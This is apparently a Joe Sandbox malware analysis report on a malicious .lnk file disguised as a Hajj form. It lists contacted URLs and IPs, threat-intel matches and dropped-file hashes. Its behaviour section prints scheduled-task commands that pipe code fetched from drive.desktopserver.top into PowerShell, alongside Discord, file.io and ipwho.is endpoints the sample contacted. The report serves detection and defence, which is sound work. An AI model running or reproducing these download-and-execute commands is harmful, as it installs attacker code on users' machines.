http://drive.desktopserver.top	powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334505E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344FEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334447A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334507A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAECA9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF8A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F309408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F3093EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://drive.desktopserver.top/file/res/0	powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 00000016.00000002.2477439249.00000233425E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.desktopsXH	powershell.exe, 00000018.00000002.2437118491.000001F3093F6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.ver)	svchost.exe, 00000004.00000002.3381154343.0000022298E00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.desktopsX	powershell.exe, 00000016.00000002.2485510234.0000023345068000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF894000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000004.00000003.2166204153.0000022298CA0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	false		unknown
http://drive.deskto	schtasks.exe, 0000000C.00000002.2230362976.00000276C5598000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344FE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://gateway.discord.gg	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BB2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.desktopserver.toppz8B3	powershell.exe, 00000016.00000002.2485510234.00000233445BA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/channels/	powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf;	Sv6eQZzG0Z.lnk	true		unknown
https://discord.com/api/v9/guilds/	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344787000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344810000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEFB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.desktopserver.top	powershell.exe, 0000000B.00000002.2318160174.0000019FD4A53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023345068000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEDEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F3093F6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://drive.desktopseX	powershell.exe, 00000016.00000002.2485510234.0000023344FEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.4.dr	false		unknown
http://www.microsoft.cok	powershell.exe, 00000017.00000002.2476908618.000001CCACF65000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://file.io/	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344787000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344810000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEFB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.2318160174.0000019FD61FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gateway.discord.gg:443/?v=9&encording=json	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BB2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://drive.deskt	powershell.exe, 00000016.00000002.2485510234.0000023344CE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30907D000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://oneget.orgX	powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://drive.desktopserver.top/file/res/X	powershell.exe, 00000016.00000002.2485510234.0000023344FE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.desktopserver.topp	powershell.exe, 00000018.00000002.2437118491.000001F30894A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 0000000B.00000002.2318160174.0000019FD45E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAE9D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipwho.is/	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344787000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344810000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEFB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://gateway.discord.gg	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BB2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000B.00000002.2318160174.0000019FD45E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAE9D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gateway.discord.gg0	powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.92.189	drive.desktopserver.top	United States	13335	CLOUDFLARENETUS	true
162.159.135.234	gateway.discord.gg	United States	13335	CLOUDFLARENETUS	false
203.101.184.86	mora.gov.pk	Pakistan	9541	CYBERNET-APCyberInternetServicesPvtLtdPK	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.17
192.168.2.4
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522856
Start date and time:	2024-09-30 18:57:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Sv6eQZzG0Z.lnk renamed because original name is a hash value
Original Sample Name:	21c0756d52ca7947a83529e2cc7d3341f4626b8da05c256f5ec09034d147c6ba.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@61/43@9/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.214.172, 216.58.206.78, 108.177.15.84, 216.58.206.67, 34.104.35.123, 184.28.90.27, 142.250.185.163, 142.250.184.238
Excluded domains from analysis (whitelisted): clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Sv6eQZzG0Z.lnk

Simulations

Behavior and APIs

Time	Type	Description
12:58:07	API Interceptor	958x Sleep call for process: powershell.exe modified
12:58:10	API Interceptor	2x Sleep call for process: svchost.exe modified
18:58:19	Task Scheduler	Run new task: CleanerRes path: conhost.exe s>--headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
18:58:19	Task Scheduler	Run new task: DriversUpdate path: conhost.exe s>--headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
18:58:20	Task Scheduler	Run new task: ZGraphics path: conhost.exe s>--headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse
	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse
	https://mandrillapp.com/track/click/30481271/www.doku.com?p=eyJzIjoibU5DZVhaM2w5MjJrQzZUaXptdlBXY2VNN2VnIiwidiI6MSwicCI6IntcInVcIjozMDQ4MTI3MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5kb2t1LmNvbVxcXC91XFxcL01PMjI3cXdcIixcImlkXCI6XCIxZjY5Nzc3NzBlZjU0NTg3OThmOTMwN2YyMzc5Y2VlOFwiLFwidXJsX2lkc1wiOltcImZiY2Y5N2U4ZWY0YzlkODk1Y2MxMGM4Y2YzYTdkZjc5YzU2NzU4MTlcIl19In0	Get hash	malicious	Unknown	Browse
	http://servicesnaustraliagov.info/admin	Get hash	malicious	Unknown	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse
162.159.135.234	http://bafybeid2klgyiphng6ifws5s35aor57wfi3so6koe2w4ggoacn6gqghegm.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse
	https://bafybeid655cmhe6uwb6wx3qrnokcfyddv63kcnzkm3whfn2xbjyyhukh2m.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse
	http://via.evove.top	Get hash	malicious	Unknown	Browse
	test.exe	Get hash	malicious	Unknown	Browse
	windisc.exe	Get hash	malicious	Discord Token Stealer	Browse
	SecuriteInfo.com.Other.Malware-gen.12648.25881.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.3459.12800.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.SpywareX-gen.2363.7900.exe	Get hash	malicious	Unknown	Browse
	ChromeInstallerOnline.exe	Get hash	malicious	Dicrord Rat	Browse
	aBtQ4Tt70g.exe	Get hash	malicious	Dicrord Rat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gateway.discord.gg	https://bafybeihwopeeamsw6gk3vbg3wbftvt3n2qngbzo5a4hlnpvlv4hc3vvmyy.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse	162.159.136.234
	https://mjj.aigc369.com/	Get hash	malicious	Unknown	Browse	162.159.133.234
	http://relay.csgoze520.com/	Get hash	malicious	Unknown	Browse	162.159.136.234
	Client-built.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	Client-built.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	87Bym0x4Fy.exe	Get hash	malicious	Blank Grabber, DCRat, Discord Rat, PureLog Stealer, Xmrig, zgRAT	Browse	162.159.130.234
	Client-built.exe	Get hash	malicious	Discord Rat	Browse	162.159.134.234
	Client-built.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	QMGuBtu724.elf	Get hash	malicious	Unknown	Browse	162.159.133.234
	Client-built.exe	Get hash	malicious	Unknown	Browse	162.159.134.234

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	HdXeCzyZD9.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	update SOA.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	NCTSgL4t0B.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	4tXm5yPtiy.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.84.213
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	UY9hUZn4CQ.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.1.169
	4sTTCruY06.exe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	gh3zRWl4or.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	seoI30IZZr.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
CYBERNET-APCyberInternetServicesPvtLtdPK	firmware.i586.elf	Get hash	malicious	Unknown	Browse	124.29.195.152
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	58.65.218.110
	LisectAVT_2403002B_136.dll	Get hash	malicious	Emotet	Browse	175.107.196.192
	RiI7W2cj7p.elf	Get hash	malicious	Unknown	Browse	175.107.255.200
	SHIPMENT-CMA CGM-1DBSIE1P-DOCX.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	72.255.53.7
	SHIPMENT-CMA CGM XIAMEN-1DBSIE1PL- EX1-DOCX.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
	rCjg912Ssb.elf	Get hash	malicious	Mirai	Browse	103.213.114.223
	Scanned Documents.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
	Newly Arrived Shipping Document.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
	RECEIPT-CARGO-00098GHG-DOCX.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
CLOUDFLARENETUS	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	HdXeCzyZD9.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	update SOA.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	NCTSgL4t0B.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	4tXm5yPtiy.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.84.213
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	UY9hUZn4CQ.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.1.169
	4sTTCruY06.exe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	gh3zRWl4or.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	seoI30IZZr.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	http://servicesnaustraliagov.info/admin	Get hash	malicious	Unknown	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	http://tr.padlet.com/redirect/?url=http://dctools.mooo.com/smileyes/dhe/succes/pure/dad/mom/kid/she/qwerty/careese.pfund@stcotterturbine.com	Get hash	malicious	HTMLPhisher	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	Purchase Order IBT LPO-2320.eml	Get hash	malicious	Unknown	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	https://timetraveltv.com/actions/cart_update.php?currency=GBP&return_url=https://blog.acelyaokcu.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVdrcFNRMHM9JnVpZD1VU0VSMDkwOTIwMjRVMTIwOTA5MDE=N0123N%5BEMAIL	Get hash	malicious	Unknown	Browse	40.126.32.133 20.190.159.71 20.12.23.50
	SCAN_Client_No_XP9739270128398468932393.pdf	Get hash	malicious	HTMLPhisher	Browse	40.126.32.133 20.190.159.71 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	0d145776475200f49119bfb3ac7ac4dd4e20fadd0fd7b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	file.exe	Get hash	malicious	XWorm, Xmrig	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	Purchase Order IBT LPO-2320.eml	Get hash	malicious	Unknown	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	https://timetraveltv.com/actions/cart_update.php?currency=GBP&return_url=https://blog.acelyaokcu.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVdrcFNRMHM9JnVpZD1VU0VSMDkwOTIwMjRVMTIwOTA5MDE=N0123N%5BEMAIL	Get hash	malicious	Unknown	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	3140, EUR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	UhkzPftQIt.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	7LC2izrr9u.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.92.189 40.113.103.199 162.159.135.234
	UhkzPftQIt.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.92.189 40.113.103.199 162.159.135.234

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8527825951151541
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugE:gJjJGtpTq2yv1AuNZRY3diu8iBVqFH
MD5:	CE26F801D636B318206A63E2CFF7B383
SHA1:	8A1AD4D228CA03F2AFA8690190A0B5164D09217F
SHA-256:	13C324045CB9FE03C12F29AD5973A4CB9CD2F531D95706FAB6E8431EFBA5957A
SHA-512:	6452D7983968E895DF92D76EA075CF8A83AD32687D785996C5EE099EDB74815B086CD5C28DEA6A8257BDD656D2B3185484E5B31C26F3C293421509027FB7D192
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1ad889ce, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586185643185033
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	02DA721269E4660D4EC68E8BFA8CF22A
SHA1:	8C185816D14A44802B3AD6B83E59FCD436934008
SHA-256:	7A8609E3CC14912C771CBE3B1ABB2CEA185EF4A9C8541619B176EBC4284C3049
SHA-512:	E004929C9A3ADC74F3A9B5F68A397B41580AB741B74C53BD1F156739A60265E9D92CE8A014D0DC44035DB96B7C7B52CECFA744CD52B76462FAF0B1A402F52E81
Malicious:	false
Preview:	...... ...............X\...;...{......................0.z..........{...:...\|].h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................:...\|....................i.:...\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0814810015409336
Encrypted:	false
